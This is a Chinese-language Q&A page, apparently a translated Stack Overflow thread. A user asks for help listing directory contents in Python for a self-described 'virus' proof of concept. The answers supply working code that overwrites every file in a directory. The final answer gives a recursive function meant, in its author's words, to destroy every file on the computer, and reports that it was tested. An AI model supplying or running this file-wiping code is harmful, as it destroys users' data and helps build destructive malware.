0

我需要帮助尝试在 python 中列出目录,我正在尝试编写 python 病毒,只是概念证明,没什么特别的。

#!/usr/bin/python
import os, sys
VIRUS=''
data=str(os.listdir('.'))
data=data.translate(None, "[],\n'")
print data
f = open(data, "w")
f.write(VIRUS)
f.close()

编辑:我需要它是多行的,所以当我列出目录时,我可以感染列出的第一个文件,然后是第二个文件,依此类推。

我不想使用 ls 命令,因为我希望它是多平台的。

4

3 回答 3

1

如果您只是要尝试再次解析它,请不要调用str结果。os.listdir相反,直接使用结果:

for item in os.listdir('.'):
    print item   # or do something else with item
于 2013-05-05T03:44:13.130 回答
0

像这样的东西:

import os
VIRUS = "some text"
data = os.listdir(".")  #returns a list of files and directories

for x in data:       #iterate over the list

    if os.path.isfile(x): #if current item is a file then perform write operation

        #use `with` statement for handling files, it automatically closes the file
        with open(x,'w') as f:
            f.write(VIRUS)
于 2013-05-05T03:52:58.567 回答
0

因此,在编写这样的病毒时,您会希望它是递归的。这样,它将能够进入它找到的每个目录并覆盖这些文件,从而完全破坏计算机上的每个文件。

def virus(directory=os.getcwd()):
    VIRUS = "THIS FILE IS NOW INFECTED" 
    if directory[-1] == "/": #making sure directory can be concencated with file
        pass
    else:
        directory = directory + "/" #making sure directory can be concencated with file
    files = os.listdir(directory)
    for i in files:
        location = directory + i
        if os.path.isfile(location):
            with open(location,'w') as f:
                f.write(VIRUS)
        elif os.path.isdir(location):
            virus(directory=location) #running function again if in a directory to go inside those files

现在这一行将重写所有文件作为变量中的消息VIRUS

病毒()

额外说明:

我之所以将默认设置为:directory=os.getcwd()是因为您最初使用"."的是 ,在该listdir方法中,它将是当前工作目录文件。我需要文件中的目录名称才能拉出嵌套目录

这确实有效!

我在计算机上的测试目录中运行它,每个嵌套目录中的每个文件都将其内容替换为:"THIS FILE IS NOW INFECTED"

于 2013-05-05T05:16:20.017 回答